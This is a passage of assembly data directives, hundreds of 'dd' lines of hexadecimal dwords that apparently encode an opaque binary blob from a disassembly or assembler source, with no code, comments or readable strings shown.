dd 795338C2h, 2666E880h, 0AD848ACAh, 0A381AF16h, 9A684618h
dd 397E40B2h, 989C280Ch, 2676180Fh, 40CC673Fh, 1A32C694h
dd 351C2300h, 3A86C480h, 0F7FB09A1h, 288A0E98h, 282402Ch
dd 0D400393Bh, 0EF871914h, 707515Ch, 93AA6676h, 75413F4Eh
dd 401E0BAEh, 15D8E39Ch, 0CFDFC500h, 9C0833A8h, 880A627Ch
dd 5064AE0Eh, 911C6830h, 39ED25Ch, 65B8F9F8h, 0D3B3B745h
dd 7958822h, 6ABA9FC3h, 17B50B4h, 1B02F623h, 0B3AAF0BFh
dd 9DA4487Eh, 2454B055h
dd 40A4881Ah, 6ABEBC2Ah, 20B2B491h, 0C482128Fh, 0A7047364h
dd 16F09900h, 398094C8h, 0F1FC005Ch, 77C64602h, 76005DF7h
dd 6D5529A6h, 206AA0Ch, 59CF30E7h, 2C81921Ah, 8F110328h
dd 0DD6EFE1h, 13E05105h, 44B498F5h, 9012A722h, 0EC007F7Eh
dd 0FF17C883h, 28DA90F2h, 49C1BA8h, 0A58DE1D9h, 5ACD098h
dd 200DD0E2h, 7180E58Eh, 0F0101EC9h, 65B852F7h, 0B9B2990Bh
dd 0A474220Fh, 968C2007h, 0C4A0C38Bh, 0D80ADF75h, 4842FF28h
dd 24BF3804h, 859F480h, 8E0A4B4h, 0C4A39E6Ch, 4C83E01Eh
dd 0FE3C0829h, 0D81E0C38h, 0B4C88AB2h, 9AAFC406h, 9F986ABh
dd 8B38C8DDh, 121420A7h, 0BC800464h, 216E51EFh, 50090D28h
dd 65FF9E5Ch, 6C05B568h, 80405E87h, 0BC791712h, 0DD500F7h
dd 0BE4C9F98h, 833E8C42h, 44A380DBh, 0AC52F0E6h, 5DF83303h
dd 2BBA7768h, 4886D0A0h, 3202F404h, 1BC42678h, 0A6A0C0F6h
dd 0A810E705h, 2E625738h, 800228B0h, 5E519044h, 30A4EEDEh
dd 1E189CAh, 2500490Ch, 12765BECh, 9305A9Eh, 7A5803F1h
dd 0A29BCA0h, 0B49D6BCh, 0C2901758h, 0DE526042h, 50524319h
dd 882318A1h, 0F9D28F21h, 0C3022016h, 0C903A68Ch, 78604DE4h
dd 899160CAh, 1FC101A2h, 0DB79800h, 0A30E6C6Dh, 8D2900E3h
dd 688F6182h, 306F28AFh, 1A510038h, 0D5575B74h, 6835C08h
dd 0A8E05D21h, 0B6FC0DBDh, 3DF03819h, 9CC83AB0h, 0C7848AAh
dd 41B32850h, 0F524301Dh, 0C027AC88h, 80B412B9h, 93008E68h
dd 5BD1869Bh, 2858CF9h, 7E889C48h, 0F4C305FBh, 0DD5F40F4h
dd 0F2ED3Eh, 30CEA73Ch, 2DC5261Eh, 0E209EF02h, 0E858A37Fh
dd 0A4C81F84h, 7BF40180h, 1D87989h, 0B24FC047h, 232ACE0Eh
dd 5E72203Eh, 0E128921Ch, 0E6C07472h, 9F1B418Fh, 9C73F415h
dd 93E1178h, 0C5879E82h, 40FB503h, 76E0A749h, 0AC80808Dh
dd 28B0EFD7h, 1C42320h, 581B6F50h, 56D387DEh, 908B1EE8h
dd 0B694B0F7h, 2A1F646Eh, 0D10037D4h, 74CB9B66h, 0C8130024h
dd 2E516755h, 166647CCh, 12922788h, 8833F2FEh, 4707A880h
dd 0AC9F2FB8h, 2A10A219h, 814CE2B4h, 0CB434E3Ch, 26CDB448h
dd 736EE2h, 0A4CA4404h, 61034784h, 0AD9A2876h, 8829548Bh
dd 0E083604Fh, 18853501h, 2304E0EAh, 0B6F4167Bh, 37EB4C81h
dd 8BDDD007h, 0C86053FEh, 99E7CA10h, 518D63ABh, 0B1001D68h
dd 475DFF44h, 0F99B1Fh, 517ECC03h, 391602DFh, 299A8D30h
dd 0F83B2410h, 29C30F53h, 0B4ABB7D0h, 0A3807810h, 0F18C57E5h
dd 74BC13A8h, 0F4026EA0h, 0FEF0D61Ah, 3BF83EBh, 0B28022Ch
dd 7EA38DE3h, 306C34C9h, 4280368Ch, 35C70A19h, 9846D89h
dd 74800A3Bh, 5328E077h, 4ED98C18h, 24400F90h, 80E41687h
dd 0F674107Fh, 48D21F6Fh, 0C287B821h, 40A40704h, 3D30DCA7h
dd 1C0DF69h, 81A3D4B4h, 5BAE6E00h, 2081C545h, 0F2A40B41h
dd 0B39A0179h, 207CF463h, 8C0D2ACCh, 38AB67AEh, 40ACDC20h
dd 76F89014h, 73814A60h, 0C27FB89Ah, 12895541h, 8130B0A0h
dd 0C07E1A5Dh, 9B9C6500h, 88A7DE57h, 0B0296566h, 7D8C88CCh
dd 9D1104A7h, 34889B06h, 0AA173840h, 0C04FE403h, 297549A5h
dd 6E4CA2ACh, 0AF470032h, 5380BA37h, 590D6089h, 0F51C46BCh
dd 44AC580Fh, 6C1392C5h, 7881D840h, 0B257FF0Ah, 940C5318h
dd 7E23C7Ch, 1071C21Ah, 0B5093018h, 8721B709h, 0CBB38084h
dd 93EAC46h, 905B380Ah, 0B4047409h, 119CA042h, 66C8D963h
dd 961000C9h, 5DCA510Dh, 54E01FF9h, 52E66D05h, 3C835741h
dd 23291862h, 0D244E1FDh, 8C607A00h, 997212Dh, 28135138h
dd 0A178B402h, 0D7D8AC8Ch, 320AAC48h, 2E1C39Fh, 8233DC2h
dd 2942A368h, 4189FACh, 15614E41h, 84C9CC08h, 3B4F606h
dd 2403794Ah, 0CC01F22Ah, 40214CCDh, 3B100411h, 0ABB28AE5h
dd 16031850h, 9513DB4h, 5A5FA80h, 1C43D40Bh, 7B007073h
dd 0B013B5C0h, 151C484h, 2BFBEBF8h, 98547633h, 0E04135D0h
dd 16AB24DDh, 1502BD20h, 0FE45E25Ch, 0CB9FA880h, 4D0A35B8h
dd 98BE117Fh, 0A5105211h, 683582F0h, 0AC6720CEh, 0AC917F86h
dd 0D6D9501h, 0C8D38D02h, 188D579h, 91627EABh, 0FAE63E30h
dd 0D40394A4h, 8B08C808h, 2F431F0Bh, 7ED882D3h, 1025060Ah
dd 71240430h, 56F57B6h, 0B399EE8Fh, 2A9C42E2h, 28B402D1h
dd 1ED05654h, 5D0628A7h, 22587AF1h, 70183ADh, 0CF23C733h
dd 0A0CB4934h, 0A82E8820h, 58EABA0h, 91E29362h, 24403CD0h
dd 4A20BD3Fh, 28605840h, 2308B19h, 7012A9D6h, 872725B2h
dd 41986039h, 2B31DD33h, 0FF28583Ch, 0BCA46A54h, 44FD4E26h
dd 0BD08584Ah, 343C1431h, 0E085E7A8h, 293E1679h, 8DFE1401h
dd 381188D6h, 60F2D100h, 2F8B2701h, 0FAB1B643h, 0BC4A4847h
dd 0C1B4CD9h, 619F9E8Dh, 0FC312EC0h, 0BEFA88E8h, 39314B9Eh
dd 0C462B29Ah, 0A9734019h, 883D0881h, 0FD0C398Eh, 71349219h
dd 25BF00B4h, 0BC75AA17h, 0A40444B9h, 769CABF1h, 40AC18C2h
dd 3EABE70h, 280487C0h, 81023201h, 233D4A5h, 4520B189h
dd 59CABC48h, 292478EEh, 808989Ch, 0DE3EE015h, 56B70910h
dd 9E10220Ch, 4125002Ah, 7E0367F9h, 0B6E430CAh, 205DF0E6h
dd 897600BAh, 5F3BE504h, 221EC6B7h, 741DC9F2h, 0CA1D80FEh
dd 0F9E903D8h, 8C810064h, 0DB6CDC3Ch, 5503C674h, 0F44764Ah
dd 0C7B0A898h, 0DE2000D0h, 0DD78E662h, 0CEF21D88h, 40E40E30h
dd 218A23h, 74EEBEE1h, 5AC05928h, 0A200D472h, 8A335F37h
dd 62E235h, 84B7B3D5h, 5ACEC35Bh, 0EBF9EE00h, 0E11ACF2Ch
dd 0B972F078h, 41015F0h, 0F850F9AAh, 12CE7C50h, 7BEF32Ch
dd 50D2ADD8h, 0DD02D362h, 8264F800h, 0BCD0E339h, 0F6B27AE6h
dd 3FC5011Eh, 79279F96h, 40BE81h, 23BBA9B6h, 9615458h
dd 29A193D4h, 2036E100h, 0D7F289DAh, 18DBCD00h, 9C0B3AD9h
dd 817803F9h, 0B7DE22D0h, 58B14000h, 0ED67CB5h, 683307A2h
dd 3035CD86h, 0A1B2E834h, 0D5299800h, 27DF663Ah, 43B72678h
dd 0A96D0048h, 541B37A4h, 38487C26h, 942E8012h, 2D5A00BAh
dd 0BCE81ECDh, 0C67100DBh, 0D6614758h, 3000A199h, 258A285Ch
dd 1EEFBCE2h, 40DB9B74h, 0EE59CDCAh, 81005E26h, 33E429D3h
dd 1E5DB2F0h, 8078BE55h, 0EA1FF3CDh, 2800C922h, 48C269Dh
dd 0C1A19A3h, 0A0CDCCCBh, 24EA7B40h, 5DE4E341h, 614B021Eh
dd 3BD5CE3Ch, 0DC3AE441h, 0EF00799Fh, 1891DDB0h, 1F0F3DCBh
dd 0C01C2DEEh, 33E130CFh, 22019EDBh, 3C6B4953h, 8C6631D0h
dd 2A40F0ABh, 8C7E0050h, 0DB6DDC1Eh, 0C403AD9Fh, 0D08866B8h
dd 8A64E9A2h, 0F06DEE00h, 0DDB7B100h, 0ED99C20h, 59F900F5h
dd 9F29C77Eh, 0B207EAC5h, 5E48C824h, 3CDD6220h, 0CE82181Dh
dd 0A7AB211Fh, 0B0C31900h, 28A165D8h, 0CE8A011Ch, 0D572E221h
dd 0B958D4AFh, 3897400h, 2D6386A2h, 9F2E1639h, 0B6DC00BFh
dd 0D35B1C92h, 0F3E40A00h, 2CD4C31Bh, 0E93300E0h, 7B5929BBh
dd 0F3ED677h, 241D019Fh, 33E835CFh, 4B4AC60h, 0CCC61EE1h
dd 1B08CDC3h, 22A0FF04h, 94004B67h, 5D496F30h, 7EF1617Eh
dd 2D3114F9h, 1AA3411h, 0BF2C9944h, 52F86E20h, 7E9300F3h
dd 68B13C11h, 1CAC7F4Dh, 24238718h, 0AC0510h, 0FC499CD1h
dd 7A7BD53Ch, 1CB42812h, 128EACB0h, 0A02137F6h, 0C7E9364h
dd 0C1AABB27h, 24E81038h, 166E094Dh, 9072B8F3h, 84E09B00h
dd 380722A6h, 20EC14D1h
dd 0A0DF1CB2h, 0A64328B6h, 2EF0E99Bh, 79E11CCh, 4603575Ch
dd 277250A2h, 0ED01D1AAh, 0B407F315h, 50413258h, 21101DEFh
dd 0F1CE378Dh, 0B15F854Bh, 1998B4h, 0A81BDE58h, 0B20DC54Ch
dd 7A240995h, 507200CCh, 0BDAB0ADEh, 2D02AD55h, 5F0C3328h
dd 81545667h, 0F1B3988Ah, 25F6F0D8h, 2829D6F6h, 0ED1EE406h
dd 6E52E8B0h, 0B49A8034h, 88CB354h, 206588ECh, 0CC0A29B8h
dd 52405075h, 46A825DEh, 1E22DCh, 0ADDE4A74h, 1BD40814h
dd 164882FBh, 5EBE33ACh, 28513CE4h, 6277B4F0h, 884D181Ch
dd 0E5802476h, 38937C92h, 66EA006Eh, 3693E70h, 8146B30h
dd 7E9C6D25h, 0DE57048Ch, 6254A81Ah, 4F732016h, 0D10053DEh
dd 94D2D751h, 4E9B2BDh, 142C27A8h, 8840AC17h, 4E7125Bh
dd 9081CB8Ch, 4DEA1D48h, 8D065907h, 64062D6Dh, 34209508h
dd 0E24E723Eh, 478F6B00h, 1B750E9h, 0C48401ABh, 894F332Bh
dd 69E1800Eh, 8BEDC05Bh, 2523075Dh, 4F216D84h, 0C3488072h
dd 0F400C063h, 19D54FEFh, 3EDEB2D4h, 0E2B99B8Fh, 4CA588BDh
dd 0A2D1C043h, 0A0E4406Bh, 8C036359h, 52E03EBFh, 0B84FC079h
dd 0A313028Fh, 0C95410E2h, 4E7868A0h, 5D46065Bh, 40009922h
dd 3D884E60h, 23578D9h, 0EF360DF3h, 24481A68h, 0F8071599h
dd 0D2769AC3h, 0FCD60210h, 14B490DDh, 0A4250F9Ch, 0D80A5204h
dd 3AB8E8AEh, 8DF58028h, 40A78CEDh, 60909593h, 9680556Dh
dd 65692509h, 21B03448h, 0A858F212h, 0D38FA4B0h, 5068F409h
dd 37F45903h, 0D261A1B6h, 55C5612h, 8352B14h, 0EBC017E4h
dd 4606584Dh, 932295h, 534E7343h, 6E460428h, 70F40300h
dd 0A08CEB1h, 32A3EE9Fh, 18583331h, 124DEC30h, 38FD0657h
dd 74004410h, 0F001354Eh, 1556F799h, 0E42887E9h, 0BC20945Ah
dd 5AE180D4h, 8A7259h, 2325E9ACh, 140CC029h, 7D668420h
dd 392A6060h, 865E68E5h, 0B3E40D00h, 550741DFh, 9BFC046Dh
dd 81306A56h, 76648C8h, 1413AA10h, 648C070h, 19BAB027h
dd 0BBB55006h, 9185FAEh, 46AD9A0Fh, 0CBAA1CA1h, 21E0D38Dh
dd 79C77488h, 0DBE90B28h, 7BCF807Ch, 82DD7377h, 0EF9501Ch
dd 84915B44h, 7C20E787h, 95D93E1Dh, 1190882Ah, 0C0568054h
dd 8C458BEAh, 1C85744h, 63E4C05Eh, 310C0728h, 0CC1F9B0h
dd 44A8A416h, 502D5B8Fh, 2448CD61h, 482098h, 3DD2237h
dd 0A409E216h, 91E435E1h, 59814DA8h, 0A28C77C0h, 664454A0h
dd 0C06100C9h, 0E9C7FA08h, 0F830797Fh, 1D65858h, 4F0200D1h
dd 8EF3EDFEh, 4154A407h, 0A6309AD0h, 614AB984h, 0C55A041Bh
dd 0CB4C0A0Fh, 0C01CC8C8h, 9E0558D0h, 6DFA0700h, 0EFA66C06h
dd 0A2C38022h, 7808BC33h, 0BA65A71Eh, 5E880C92h, 69A1806Ch
dd 0D78B0BB0h, 3B03501Dh, 80B60CC8h, 9D91602h, 0AC265311h
dd 84226CD0h, 584CDBF8h, 6C121DABh, 0B33872C1h, 0F42270F6h
dd 0C0676310h, 0A852F21Bh, 220F431Dh, 535E03ADh, 2BAE57F4h
dd 28E1DBB8h, 2C2708E2h, 4484088h, 0B063209Eh, 45A40C05h
dd 0DC487EC5h, 0C05AC050h, 65468C06h, 0C4076122h, 0BA3DC062h
dd 0ACB85281h, 2BA0402Bh, 0D116281Bh, 0AB37DFF0h, 65501930h
dd 67117D2h, 0AE8C14AFh, 22489B7h, 0E708506Bh, 0E8012BCh
dd 2297FCA0h, 0DB307200h, 0A81E08DEh, 2164C4F4h, 0DE536F40h
dd 7E008C49h, 0B6293DCEh, 17302471h, 79622BCh, 715DE65Ch
dd 3A480165h, 0F1442420h, 2AAA7E26h, 0B841188h, 0F9E14E66h
dd 9D03F500h, 0D35BA68Ch, 0F0571480h, 40923A30h, 0FDDABFh
dd 16150D9Eh, 22CB819h, 184E9CE4h, 0C7FF6081h, 5EBC94C6h
dd 767C888Ch, 0B415DF09h, 4834F09Bh, 5BECFCE7h, 0D2B4008Ch
dd 36E98653h, 0F327020Bh, 13E0C8ABh, 0EF433E91h, 0E99E8D00h
dd 202A2EC3h, 10B7FA01h, 70B628D9h, 27EBC841h, 818ACF0Ch
dd 758386C8h, 4C41B6CDh, 9DC8D489h, 84365A88h, 79DC0880h
dd 29DED6C0h, 22FC46A8h, 4E70001Dh, 7F149FDEh, 27090F15h
dd 821A48BAh, 20C10C4h, 34502587h, 50F7370Bh, 0B87A88h
dd 0D4B4B6BAh, 0F5E72C3Ch, 0CCC77600h, 842AF916h, 0E69F1725h
dd 238C3E07h, 0E1CA001Dh, 0DB255E3Ch, 0A208B11Ch, 8238C1CBh
dd 2BBEFD0h, 80C234E7h, 1AB26C90h, 94385200h, 0DCFD2778h
dd 79892681h, 968808C0h, 60915824h, 20DE5580h, 448C44A8h
dd 4D00791Fh, 7B1248DEh, 0B33208E9h, 40AB78B4h, 0BC2AF02Eh
dd 2618EF5Eh, 0C89E0E27h, 27CBFA84h, 386828B7h, 841EA01h
dd 37A25463h, 1A30430h, 0FD16C0EBh, 246F9670h, 948E790h
dd 0B1471198h, 193CB209h, 0CE12A0FAh, 852AB16h, 5D23683Ah
dd 0DF898700h, 0C4E8FC8h, 0B8A2C590h, 395604D9h, 0D4C1F22Ch
dd 0EB594010h, 8607504Bh, 61A8F8E1h, 8AA78800h, 0A18E909Fh
dd 0EDE5B606h, 80237C75h, 74301CA2h, 5DDD00B7h, 5C7E257Ah
dd 0E02DA1F8h, 0E8E44472h, 0B06F0091h, 0C87964BDh, 0A171B593h
dd 6E28E09h, 0DF8010B1h, 19CA013Bh, 0DDFCE795h, 0F268F04Ah
dd 39C190C1h, 88E017BFh, 106FC62h, 91B56324h, 94CB19h
dd 79771F39h, 26C2469h, 0D601004Ch, 54CBBBD2h, 6F86FD00h
dd 8083F645h, 22C828A3h, 53260BB8h, 289D23E9h, 0A2805711h
dd 2767D692h, 0D0002C92h, 1930BF1Bh, 9026073h, 8336D8B6h
dd 5F88AC45h, 0F21F6067h, 18EDA8D6h, 17628833h, 7442F200h
dd 0DF11103Bh, 4FE261h, 8511E6Fh, 30261AEEh, 80288958h
dd 92520F74h, 0CF3A1DACh, 0DC682725h, 120030FAh, 0EDC83578h
dd 98065B1Ah, 0DDA0C458h, 82600954h, 5030C524h, 0E907FE0h
dd 29470F36h, 67B01383h, 84022803h, 16995AD3h, 0F0A71B22h
dd 0FE038FE8h, 4935F07Eh, 94B3BCBEh, 0EE766901h, 2C72AE8Bh
dd 1D6205F0h, 813AF52h, 963948A0h, 1C215E94h, 9A758011h
dd 4F1D22D1h, 0C45AA401h, 16D89CD5h, 2824056Fh, 81CCB80Ch
dd 6DDF3BBAh, 4067B860h, 0E32F5225h, 665C6987h, 2C0E6DCh
dd 6EC3E803h, 84DC2ABDh, 0BC23F18Ah, 0DC5D0832h, 3C642F88h
dd 0AA0F3F00h, 3DA62FD7h, 0C1DB00E4h, 51201B76h, 5214BE88h
dd 5B08479h, 0EFF01E9Eh, 0DC8098FCh, 17DE44AEh, 8AB68F00h
dd 53E876F9h, 0E287D98h, 0B33625F7h, 0C7874ABh, 977AE012h
dd 0D9B23400h, 50DD3F01h, 3EF5BCFDh, 4B2522F1h, 0C63C5817h
dd 0FD263309h, 0E92168E9h, 23B871D9h, 3160A2E8h, 4F3ED8F2h
dd 0B861F502h, 0E0F8A2BFh, 0C162465Eh, 76E0C7C8h, 466B25h
dd 27185B70h, 0FCA51621h, 8190BCEFh, 7BF68C63h, 652DA028h
dd 2C0780E8h, 6106C504h, 0A4E4AD9Ah, 0CB58EE86h, 0E491AC91h
dd 1BCA6055h, 802B6939h, 7A018E6Eh, 2D19604Eh, 2066A92Ch
dd 0AB0453F4h, 0C9742073h, 1D07F4F9h, 907C95DBh, 0A4A0B1CCh
dd 81B1A24h, 75404026h, 0E2152046h, 55B7C82h, 900817E7h
dd 60D8D9C6h, 0D4F40E4h, 94BC8042h, 0C9592207h, 114E7918h
dd 8865065Ah, 613D808Eh, 51A9244Eh, 0BAAA705h, 48AD73B8h
dd 4D2AC13h, 182042FCh, 489A6420h, 0D3072433h, 1B9CDE3Ah
dd 1B11081Dh, 8264D380h, 0E4168393h, 14E4879Bh, 29741438h
dd 0A81FA7CAh, 0B95C809Dh, 0F96F48CFh, 0E740A716h, 23F88E0h
dd 0B49A23BFh, 93551F31h, 0A8FCEDC8h, 14FF5900h, 0F0DC5F6Fh
dd 0BA82305h, 0DCD26AC8h, 46F0A093h, 11BCD74h, 0FEB95125h
dd 31B3AC8Dh, 23C022FAh, 0F22A0160h, 1885A8DDh, 22698838h
dd 167CF27Fh, 0F0CF0E0h
dd 0B030E2E0h, 0BD7198B2h, 0EC1D8089h, 580C611h, 73B7E3BFh
dd 0B34C2100h, 2FFB51D1h, 0C8D202FCh, 6FA2BBB4h, 0AD7D10DAh
dd 9B71140h, 2BD0A65Eh, 88B21701h, 0E9C8ECE2h, 1CA70492h
dd 0A5609844h, 2F0176C0h, 0BFA4BB06h, 57D28631h, 0AC543420h
dd 5C606E9Bh, 0DE15ED90h, 404B0E0h, 2B4CC4D4h, 3864831Fh
dd 0FF9A01FCh, 0FAC810D8h, 9894B41Dh, 0ABEFD1E2h, 202C49h
dd 44DCA51Fh, 22B6C39h, 0E466C07Bh, 0A00FBABh, 5F8B950h
dd 0F7EF061h, 9FFCCF09h, 99813DA3h, 0CC01B4DAh, 5F4384Ch
dd 27042808h, 0E4622C4Ah, 41F21CC2h, 0E44E55E8h, 0F4544F00h
dd 86E9A4C8h, 0D5D26305h, 0AC4085CAh, 0D65852A8h, 128FF472h
dd 424C13AAh, 43389D44h, 84FC448h, 4E3BF317h, 20A24884h
dd 67301FF2h, 9DB83843h, 8936B109h, 0E997A405h, 0D92AC0A0h
dd 130EB11h, 6259132Fh, 2529CAA8h, 0AEE0302Ch, 91254900h
dd 20BF2E7Fh, 9951658Dh, 0B3B8C8D1h, 74E26E00h, 4EEC288h
dd 96820040h, 0DF5331AFh, 0FD7EC764h, 87022704h, 0C817126h
dd 0CC020834h, 42D7B884h, 0F4AB9A5Fh, 0B4028250h, 260032D0h
dd 93112DC8h, 5E51D868h, 0BE01D17Ah, 0AAA0B713h, 9C646AB3h
dd 3ED81025h, 9C612487h, 70CC1E12h, 5D4E3906h, 0CA6CED96h
dd 6E3A0050h, 75D954Eh, 0F7F6168Eh, 9A7C88AFh, 0BC94E4A6h
dd 1C4656h, 7CF83587h, 0E49B3ED2h, 0A8400189h, 0CFF799EFh
dd 3B5073E9h, 902EDE65h, 94009823h, 409FBC2Bh, 21A84C41h
dd 3DE0815Fh, 1DA46268h, 76DD3F14h, 9AC83BC3h, 0F391A75Fh
dd 8C626AD5h, 0B6082470h, 8B110Ch, 451AA0BFh, 0EE5B562h
dd 464DF711h, 16034380h, 0D09152D9h, 8A3B0201h, 207F7922h
dd 8D1812B4h, 6DED200Fh, 2A92C0AFh, 61EB380Ah, 0BC82A028h
dd 0E08BD252h, 13AC7030h, 7460202Ch, 0E4E8C54Bh, 3014601Ah
dd 0BF9F000Bh, 0D8A7DFB5h, 78D71FF2h, 140734E2h, 630EECD7h
dd 64908DE2h, 5C003E6Ah, 4D247B2Fh, 0C6E67Fh, 26F14C57h
dd 9B6B62B0h, 0A6B3380Bh, 6FB84764h, 0BF9380D1h, 748DC4A9h
dd 8AC930D1h, 0F01E8C91h, 8155383Bh, 1AA8D966h, 0A9E4566Ah
dd 0AAD502D6h, 0EF9C165Eh, 520710FCh, 0D0F2D4B7h, 58445BFDh
dd 8B0CFF5Fh, 50AC9796h, 0D19899E0h, 6E1837h, 1A5B7F1Fh
dd 93FE90FAh, 0BE02C094h, 713428A2h, 47C0B188h, 0FE6502C0h
dd 0D700BEC4h, 0EA442541h, 784C5243h, 90832224h, 0E8D60364h
dd 0FA290742h, 1C18F9B0h, 0EC73E50Fh, 48015295h, 6D54FFDEh
dd 52BA7D0h, 0C69C0C76h, 0AD44766h, 61C98F0Bh, 0AED82C22h
dd 0E424D8FEh, 0EF290C18h, 10A90441h, 0AC619FB6h, 0F5D38000h
dd 7F2A1678h, 41BF0015h, 0EFDF590Ch, 0E00B70F8h, 974D1906h
dd 801691B4h, 6A3B80FBh, 4ECB074Bh, 0E1936BC1h, 2A0EB8B4h
dd 2E73F444h, 0A8A80412h, 0F8960021h, 4F53A48Dh, 4A344831h
dd 0ECC05CC0h, 2355218Bh, 1CEC4BDh, 2DA1C064h, 30F4FE91h
dd 0AA650CD1h, 3CF488F1h, 0C3E31F2Ch, 44B6DDC1h, 0C08DB0CFh
dd 853821B1h, 38CB3538h, 0AFFE8B9Eh, 5D6280A5h, 0BFBCB27Ch
dd 0CB84C880h, 1D24B85Bh, 0FC08082Ah, 0F089C017h, 403E9DDEh
dd 0EB252F7Bh, 6C48B50Ch, 0C058C04Eh, 0B55B8BF0h, 12D2682Ch
dd 1EFAC060h, 0CD114006h, 9BB5DED5h, 0D7B240CFh, 0F79A6C80h
dd 40A40BCAh, 48F92783h, 46496F18h, 0B9F30145h, 2C133633h
dd 0E8F83966h, 0AEC4A0F7h, 5C215A0Bh, 0C92AD080h, 0B0CC6606h
dd 19272868h, 76042E10h, 60646468h, 2659F226h, 703825A8h
dd 0F2051E65h, 9DA70AB2h, 348C8005h, 61B2BCF3h, 1B25930h
dd 0BF460E2h, 41C173FEh, 0C068768h, 845E8461h, 0FE4FF440h
dd 1DC52085h, 7178A3FFh, 0A5790E30h, 0E4E84520h, 0F8D27366h
dd 4961724h, 0E0C83780h, 5800AA56h, 889E72ABh, 102162A2h
dd 40E03D34h, 0F227BBAAh, 7448000Dh, 360B94Fh, 70BA67Ah
dd 0E6E03220h, 3A16A057h, 98CE8C63h, 30111C84h, 0FA7707h
dd 7F1E9F8Fh, 90FC86C4h, 31C94B09h, 530802DFh, 5008001Ah
dd 8D25410Dh, 0AC50F9BFh, 0F8C08B4h, 0DA69003h, 0CCF094ECh
dd 683639B6h, 84F0480h, 0E2F3BDF9h, 0BC707CBBh, 88D20183h
dd 0C4B66FD8h, 878882Dh, 8882C18h, 7565B11Fh, 142CE843h
dd 0A401BD50h, 2B5690A7h, 1338B440h, 3B644BC4h, 0AC23D0h
dd 5E6B3270h, 0A5013A42h, 0D84DE0FFh, 952F1B92h, 0A21B1268h
dd 104170A8h, 234C2F2Bh, 680F0691h, 72008120h, 7127DF8Eh
dd 1E7EBD06h, 1C79FEFh, 686B2D49h, 929BD5Ch, 5C8FCA90h
dd 0D9B304F8h, 0E91C811Eh, 0B8583A06h, 85250418h, 149EE814h
dd 48B01180h, 8C61E8DCh, 0CD161A72h, 0A80F33F7h, 0AC91974Bh
dd 920C17FBh, 483C0441h, 0F6467280h, 7403177Ch, 0CC8AC8EBh
dd 0B1FEC01Eh, 25F01CCEh, 12882926h, 34FD87h, 0AF0BD3BBh
dd 94871B8h, 5E6EA07Bh, 0B01FA085h, 861D328Ch, 30306CA3h
dd 595BA60Ch, 9C255CBFh, 0E847C46Ah, 0AE606544h, 592C5149h
dd 7401494Dh, 9F9E04A6h, 88C4022Ah, 5C76382Bh, 7D334700h
dd 9E62E09Dh, 0EE098234h, 0C0A42DB0h, 69E8A0B9h, 3DE64E00h
dd 26AFE3D5h, 48D0B2AAh, 6280C0CAh, 0F730DAEFh, 331316E4h
dd 902473AAh, 27440EEBh, 118EF920h, 6125B24h, 8CC2AFD4h
dd 0E48872B1h, 57BD0E42h, 44BF527Fh, 0BB5EA613h, 3FC8C408h
dd 500A9707h, 0BDA70FEh, 8827B276h, 22205228h, 8752BFABh
dd 4F3000E4h, 0B913FBBCh, 0DCF201E3h, 95B2511Ch, 73B2EB37h
dd 38D95051h, 0E3037818h, 88194446h, 0B971000Ch, 344F52CEh
dd 9E1E1FC6h, 89D6516h, 68BB047h, 0D8B8C482h, 0E65000FCh
dd 535CEFC8h, 7F4A391Bh, 34232C2Fh, 0D8A82102h, 81304A12h
dd 3398E6FCh, 0F08B8808h, 24AE7481h, 81381B63h, 0AF9E8BD1h
dd 118C2236h, 0BE0121BBh, 1740A587h, 0F1387490h, 6459C600h
dd 0AC15D108h, 0CC314DF3h, 4054A42Ch, 410F9690h, 0F476F0F5h
dd 0CBE039B8h, 59C05F7Eh, 1E6098C5h, 940312AAh, 18ECB962h
dd 0A66895BEh, 998F4F9Bh, 8A583074h, 132434E3h, 47695027h
dd 603264D8h, 0E4AF0A56h, 0C0FA4DBCh, 0AA32CE00h, 1AE09CC0h
dd 85A01D4Ch, 44A25F26h, 749BDB22h, 0BBB978h, 9EBD61F4h
dd 6AB33279h, 0CF028F01h, 7023E5DEh, 1197C041h, 0C52E4C33h
dd 0AC467E68h, 543E4C00h, 1DDB3DBh, 9E3C2902h, 0E6163B40h
dd 0F42F95E4h, 9BA84457h, 1E84272Dh, 0E5422143h, 0CA9C2049h
dd 831C10C8h, 246EA7h, 0BC4A25AEh, 15C15C28h, 0DC050E14h
dd 0D8610ACh, 8F50E892h, 7084CF30h, 7723A84Ch, 0CA271011h
dd 7FAC0420h, 200C45Dh, 5976789Bh, 0F0843CFh, 1B122656h
dd 5B482FACh, 2834448Ch, 346DB62Bh, 0D1117B91h, 4FB0085h
dd 74999D97h, 204090E2h, 0ED7A63F0h, 2981A930h, 0C4D9B5E3h
dd 326056E0h, 48012B8Fh, 0F0B8EE9Eh, 84B4D2D8h, 999C5031h
dd 49134878h, 88E48B4Ch, 0CDDAC01Ch, 5C0B346Ch, 2AD5AB5h
dd 4D228F78h, 0BE0FC2ECh, 84121410h, 7A3F7821h, 0ECAB7B62h
dd 0EC842C92h, 88C07146h, 108D9FAh, 7FB415E1h, 125032C3h
dd 30A9B299h, 7DB1DC4Ch, 2E082D0Dh, 500D18DBh, 322F2010h
dd 0EC857F7Ch, 0E250A363h, 17B43016h, 0B001F27Ch, 37F6E1DFh
dd 0D878687Ch, 603E7D00h, 2BEA0E50h, 307A2E01h, 0FE220470h
dd 6A14F4h, 0D9FF9A6Eh, 6FF68DEDh, 89BF4Eh, 46950D3h, 5DE2A2F4h
dd 0F8CF0087h
dd 8B526B64h, 0C360C848h, 0F7B84212h, 0B0FE4CCh, 0B2B125D3h
dd 470734FDh, 0E016F169h, 52DB0594h, 59858B17h, 0A8145901h
dd 0E85042BBh, 5FD28EDh, 62DAE5A2h, 8C58CC08h, 0AB0BF618h
dd 0C91E7BD8h, 0E4D95DF0h, 16918918h, 0B65016DEh, 3A891AAh
dd 32440736h, 1CF0DCC8h, 5201C03Eh, 9AFCB0CEh, 791757F6h
dd 413501Ch, 3323942Fh, 71B05B09h, 19EB000Ch, 80CD831h
dd 52252CB8h, 403CF84Eh, 0B4F85726h, 0E0DC24F2h, 100309FFh
dd 0B68CEE63h, 18F35E5Ch, 0D9840557h, 81E515ADh, 96148836h
dd 30B64D69h, 0E6BCB4h, 36C15BDAh, 0F68BF7DFh, 1F1C05E6h
dd 0F98D1ADDh, 0EA9C5138h, 69D8CA0h, 874EDF53h, 12C024F5h
dd 62244CC0h, 0F9EFE700h, 88CB1939h, 9D93CF0Fh, 6CE03290h
dd 6FFF0559h, 0A482CAACh, 6100B6CCh, 0C70D4860h, 5C44DAECh
